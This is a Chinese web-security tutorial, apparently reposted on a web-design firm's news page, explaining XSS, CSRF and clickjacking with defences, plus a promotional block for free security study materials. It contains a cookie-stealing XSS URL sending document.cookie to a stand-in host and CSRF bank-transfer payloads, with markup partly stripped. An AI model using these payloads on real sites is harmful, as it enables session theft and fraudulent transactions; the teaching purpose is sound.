ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Web安全的三个攻防姿势

Web安全的三个攻防姿势 ​关于前端Web安全的问题是一个老生常谈的问题作为离用户最近的一层我们大前端确实需要把手伸的更远一点。我们最常见的Web安全攻击有以下几种XSS 跨站脚本攻击CSRF 跨站请求伪造clickjacking 点击劫持/UI-覆盖攻击下面我们来一一分析XSS 跨站脚本攻击跨站脚本攻击Cross Site Scripting为了不和层叠样式表Cascading Style Sheets, CSS的缩写混淆故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码当用户浏览该页之时嵌入其中Web里面的Script代码会被执行从而达到恶意攻击用户的目的。实验对本站点做个试验如果你点击我依然能看见你的cookie说明本站点存在 XSS 风险分类Reflected XSS基于反射的XSS攻击Stored XSS基于存储的XSS攻击DOM-based or local XSS基于DOM或本地的XSS攻击Reflected XSS基于反射的XSS攻击主要通过利用系统反馈行为漏洞并欺骗用户主动触发从而发起Web攻击。 举个栗子​1、 假设在严选网站搜索商品当搜索不到时站点会做“xxx未上架提示”。如下图。​1、在搜索框搜索内容填入“”, 点击搜索。2、当前端页面没有对填入的数据进行过滤直接显示在页面上 这时就会alert那个字符串出来。当然上图是模拟的以上3步只是“自娱自乐”XSS最关键的是第四步。进而可以构造获取用户cookies的地址通过QQ群或者垃圾邮件来让其他人点击这个地址http://you.163.com/search?keywordscriptdocument.locationhttp://xss.com/get? cookiedocument.cookie/script如果受骗的用户刚好已经登录过严选网站那么用户的登录cookie信息就已经发到了攻击者的服务器xss.com了。当然攻击者会做一些更过分的操作。Stored XSS基于存储的XSS攻击Stored XSS和Reflected XSS的差别就在于具有攻击性的脚本被保存到了服务器并且可以被普通用户完整的从服务的取得并执行从而获得了在网络上传播的能力。再举个栗子发一篇文章里面包含了恶意脚本你好当你看到这段文字时你的信息已经不安全了后端没有对文章进行过滤直接保存文章内容到数据库。当其他读者看这篇文章的时候包含的恶意脚本就会执行。​tips文章是保存整个HTML内容的前端显示时候也不做过滤就极可能出现这种情况。 此为题多从在于博客网站。如果我们的操作不仅仅是弹出一个信息而且删除一篇文章发一篇反动的文章或者成为我的粉丝并且将这篇带有恶意脚本的文章转发这样是不是就具有了攻击性。DOM-based or local XSS基于DOM或本地的XSS攻击DOM全称Document Object Model是一个平台和语言都中立的接口可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式。DOM型XSS其实是一种特殊类型的反射型XSS它是基于DOM文档对象模型的一种漏洞。可以通过DOM来动态修改页面内容从客户端获取DOM中的数据并在本地执行。基于这个特性就可以利用JS脚本来实现XSS漏洞的利用。可能触发DOM型XSS的属性 document.referer属性 window.name属性 location属性 innerHTML属性 documen.write属性 ······总结XSS攻击的本质就是利用一切手段在目标用户的浏览器中执行攻击脚本。防范对于一切用户的输入、输出、客户端的输出内容视为不可信在数据添加到DOM或者执行了DOM API的时候我们需要对内容进行HtmlEncode或JavaScriptEncode以预防XSS攻击。具体实施请参考此篇博文http://www.cnblogs.com/lovesong/p/5211667.htmlCSRF 跨站请求伪造跨站请求伪造 CSRFCross-site request forgery也被称为“One Click Attack”或者Session Riding通常缩写为CSRF或者XSRF是一种对网站的恶意利用。尽管听起来像跨站脚本XSS但它与XSS非常不同XSS利用站点内的信任用户而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比CSRF攻击往往不大流行因此对其进行防范的资源也相当稀少和难以防范所以被认为比XSS更具危险性。但往往同XSS一同作案CSRF可以做什么你这可以这么理解CSRF攻击攻击者盗用了你的身份以你的名义发送恶意请求。CSRF能够做的事情包括以你名义发送邮件发消息盗取你的账号甚至于购买商品虚拟货币转账…造成的问题包括个人隐私泄露以及财产安全。CSRF漏洞现状CSRF这种攻击方式在2000年已经被国外的安全人员提出但在国内直到06年才开始被关注08年国内外的多个大型社区和交互网站分别爆出CSRF漏洞如NYTimes.com纽约时报、Metafilter一个大型的BLOG网站YouTube和百度HI…而现在互联网上的许多站点仍对此毫无防备以至于安全业界称CSRF为“沉睡的巨人”。CSRF的原理下图简单阐述了CSRF攻击的思想从上图可以看出要完成一次CSRF攻击受害者必须依次完成两个步骤登录受信任网站A并在本地生成Cookie。在不登出A的情况下访问危险网站B。看到这里你也许会说“如果我不满足以上两个条件中的一个我就不会受到CSRF的攻击”。是的确实如此但你不能保证以下情况不会发生你不能保证你登录了一个网站后不再打开一个tab页面并访问另外的网站。你不能保证你关闭浏览器了后你本地的Cookie立刻过期你上次的会话已经结束。事实上关闭浏览器不能结束一个会话但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了…上图中所谓的攻击网站可能是一个存在其他漏洞的可信任的经常被人访问的网站。示例上面大概地讲了一下CSRF攻击的思想下面我将用几个例子详细说说具体的CSRF攻击这里我以一个银行转账的操作作为例子仅仅是例子真实的银行网站没这么傻:示例1银行网站A它以GET请求来完成银行转账的操作如[www.mybank.com/Transfer.ph…](https://link.juejin.cn/?targethttp://www.mybank.com/Transfer.php?toBankId11money1000) 危险网站B它里面有一段HTML的代码如下img srchttp://www.mybank.com/Transfer.php?toBankId11money1000首先你登录了银行网站A然后访问危险网站B噢这时你会发现你的银行账户少了1000块…为什么会这样呢原因是银行网站A违反了HTTP规范使用GET请求更新资源。在访问危险网站B的之前你已经登录了银行网站A而B中的以GET的方式请求第三方资源这里的第三方就是指银行网站了原本这是一个合法的请求但这里被不法分子利用了所以你的浏览器会带上你的银行网站A的Cookie发出Get请求去获取资源http://www.mybank.com/Transfer.php?toBankId11money1000结果银行网站服务器收到请求后认为这是一个更新资源操作转账操作所以就立刻进行转账操作…示例2为了杜绝上面的问题银行决定改用POST请求完成转账操作。 银行网站A的WEB表单如下form actionTransfer.php methodPOST pToBankId: input typetext nametoBankId//p pMoney: input typetext namemoney//p pinput typesubmit valueTransfer//p /form后台处理页面Transfer.php如下?php session_start(); if (isset($_REQUEST[toBankId] isset($_REQUEST[money])) { buy_stocks($_REQUEST[toBankId], $_REQUEST[money]); } ?危险网站B仍然只是包含那句HTML代码img srchttp://www.mybank.com/Transfer.php?toBankId11money1000和示例1中的操作一样你首先登录了银行网站A然后访问危险网站B结果…和示例1一样你再次没了1000块T_T这次事故的原因是银行后台使用了$ _REQUEST去获取请求的数据而$ _REQUEST既可以获取GET请求的数据也可以获取POST请求的数据这就造成了在后台处理程序无法区分这到底是GET请求的数据还是POST请求的数据。在PHP中可以使用$ _GET和$_POST分别获取GET请求和POST请求的数据。在JAVA中用于获取请求数据request一样存在不能区分GET请求数据和POST数据的问题。示例3经过前面2个惨痛的教训银行决定把获取请求数据的方法也改了改用$_POST只获取POST请求的数据后台处理页面Transfer.php代码如下?php session_start(); if (isset($_POST[toBankId] isset($_POST[money])) { buy_stocks($_POST[toBankId], $_POST[money]); } ?然而危险网站B与时俱进它改了一下代码html head script typetext/javascript function steal() { iframe document.frames[steal]; iframe.document.Submit(transfer); } /script /head ​ body onloadsteal() iframe namesteal displaynone form methodPOST nametransfer actionhttp://www.myBank.com/Transfer.php input typehidden nametoBankId value11 input typehidden namemoney value1000 /form /iframe /body /html如果用户仍是继续上面的操作很不幸结果将会是再次不见1000块…因为这里危险网站B暗地里发送了POST请求到银行! 总结一下上面3个例子CSRF主要的攻击模式基本上是以上的3种其中以第1,2种最为严重因为触发条件很简单一个就可以了而第3种比较麻烦需要使用JavaScript所以使用的机会会比前面的少很多但无论是哪种情况只要触发了CSRF攻击后果都有可能很严重。 理解上面的3种攻击模式其实可以看出CSRF攻击是源于WEB的隐式身份验证机制WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器但却无法保证该请求是用户批准发送的当前防御 CSRF 的几种策略在业界目前防御 CSRF 攻击主要有三种策略验证 HTTP Referer 字段在请求地址中添加 token 并验证在 HTTP 头中自定义属性并验证。下面就分别对这三种策略进行详细介绍。验证 HTTP Referer 字段利用HTTP头中的Referer判断请求来源是否合法。优点简单易行只需要在最后给所有安全敏感的请求统一增加一个拦截器来检查 Referer 的值就可以。特别是对于当前现有的系统不需要改变当前系统的任何已有代码和逻辑没有风险非常便捷。缺点 1、Referer 的值是由浏览器提供的不可全信低版本浏览器下Referer存在伪造风险。 2、用户自己可以设置浏览器使其在发送请求时不再提供 Referer时网站将拒绝合法用户的访问。在请求地址中添加 token 并验证在请求中放入黑客所不能伪造的信息并且该信息不存在于 cookie 之中以HTTP请求参数的形式加入一个随机产生的 token交由服务端验证优点比检查 Referer 要安全一些并且不涉及用户隐私。 缺点对所有请求都添加token比较困难难以保证 token 本身的安全依然会被利用获取到token在 HTTP 头中自定义属性并验证One-Time Tokens将token放到 HTTP 头中自定义的属性里。通过 XMLHttpRequest 的异步请求交由后端校验并且一次有效。优点统一管理token输入输出可以保证token的安全性 缺点有局限性无法在非异步的请求上实施点击劫持点击劫持英文名clickjacking也叫UI覆盖攻击攻击者会利用一个或多个透明或不透明的层来诱骗用户支持点击按钮的操作而实际的点击确实用户看不到的一个按钮从而达到在用户不知情的情况下实施攻击。这种攻击方式的关键在于可以实现页中页的iframe /标签并且可以使用css样式表将他不可见如以上示意图的蓝色层攻击者会通过一定的手段诱惑用户“在红色层”输入信息但用户实际上实在蓝色层中以此做欺骗行为。拿支付宝做个栗子上图是支付宝手机话费充值的界面。再看看一下界面是的这个是我伪造的如果我将真正的充值站点隐藏在此界面上方。我想聪明的你已经知道clickjacking的危险性了。上图我估计做了一下错位和降低透明度是不是很有意思呢傻傻分不清的用户还以为是领取了奖品其实是给陌生人充值了话费。盗号是把好手这种方法最常见的攻击场景是伪造一些网站盗取帐号信息如支付宝、QQ、网易帐号等帐号的账密目前clickjacking还算比较冷门很多安全意识不强的网站还未着手做clickjacking的防范。这是很危险的。防范防止点击劫持有两种主要方法X-FRAME-OPTIONSX-FRAME-OPTIONS是微软提出的一个http头指示浏览器不允许从其他域进行取景专门用来防御利用iframe嵌套的点击劫持攻击。并且在IE8、Firefox3.6、Chrome4以上的版本均能很好的支持。 这个头有三个值 DENY // 拒绝任何域加载 SAMEORIGIN // 允许同源域下加载 ALLOW-FROM // 可以定义允许frame加载的页面地址顶层判断在UI中采用防御性代码以确保当前帧是最顶层的窗口 方法有多中如top ! self || top.location ! self.location || top.location ! location有关Clickjacking防御的更多信息请参阅Clickjacking Defense Cheat Sheet.参考浅谈CSRF攻击方式 - http://www.cnblogs.com/hyddd/archive/2009/04/09/1432744.htmlCSRF 攻击的应对之道 - https://www.ibm.com/developerworks/cn/web/1102_niugang_csrf/像目前比较火热的开发岗位实属网络安全毕竟国家网络安全法也出台了网络安全等级保护2.0等合规要求也出来了。网络安全对于大部分政企单位来说已经从[可选项]变成了[必选项]。在以前很多政企单位在进行 IT 部门及岗位划分时只有研发和运维部门安全人员直接归属到基础运维部而现在越来越多单位为了满足国家安全法律法规的要求必须成立独立的网络安全部门拉拢各方安全人才、组建 SRC安全响应中心为自己的产品、应用、数据保卫护航。根据国家发布的《网络安全人才实战能力白皮书》数据显示目前中国网络安全人才供应严重匮乏每年高校安全专业培养人才仅有3万余人而网络安全岗位缺口在2027年将达327万缺口高达95%。了解网络安全首先要搞清楚下面这些前提网络安全到底包含哪些技术是否需要会编程网络安全行业有哪些职业方向“我”该如何选择网络安全的职业发展和成长路线是什么如果你是准备学习网络安全黑客或者正在学习下面这些你应该能用得上①网络安全学习路线②20份渗透测试电子书③安全攻防357页笔记④50份安全攻防面试指南⑤安全红队渗透工具包⑥网络安全必备书籍⑦100个漏洞实战案例⑧安全大厂内部视频资源⑨历年CTF夺旗赛题解析一、网络安全黑客学习路线网络安全黑客学习路线形成网络安全领域所有的知识点汇总它的用处就在于你可以按照上面的知识点去找对应的学习资源保证自己学得较为全面。二、网络安全教程视频我们在看视频学习的时候不能光动眼动脑不动手比较科学的学习方法是在理解之后运用它们这时候练手项目就很适合了。三、网络安全CTF实战案例光学理论是没用的要学会跟着一起敲要动手实操才能将自己的所学运用到实际当中去这里带来的是CTFSRC资料HW资料毕竟实战是检验真理的唯一标准嘛~四、网络安全面试题最后我们所有的作为都是为就业服务的所以关键的临门一脚就是咱们的面试题内容所以面试题板块是咱们不可或缺的部分这里我给大家准备的就是我在面试期间准备的资料。网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的网络安全学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】
返回列表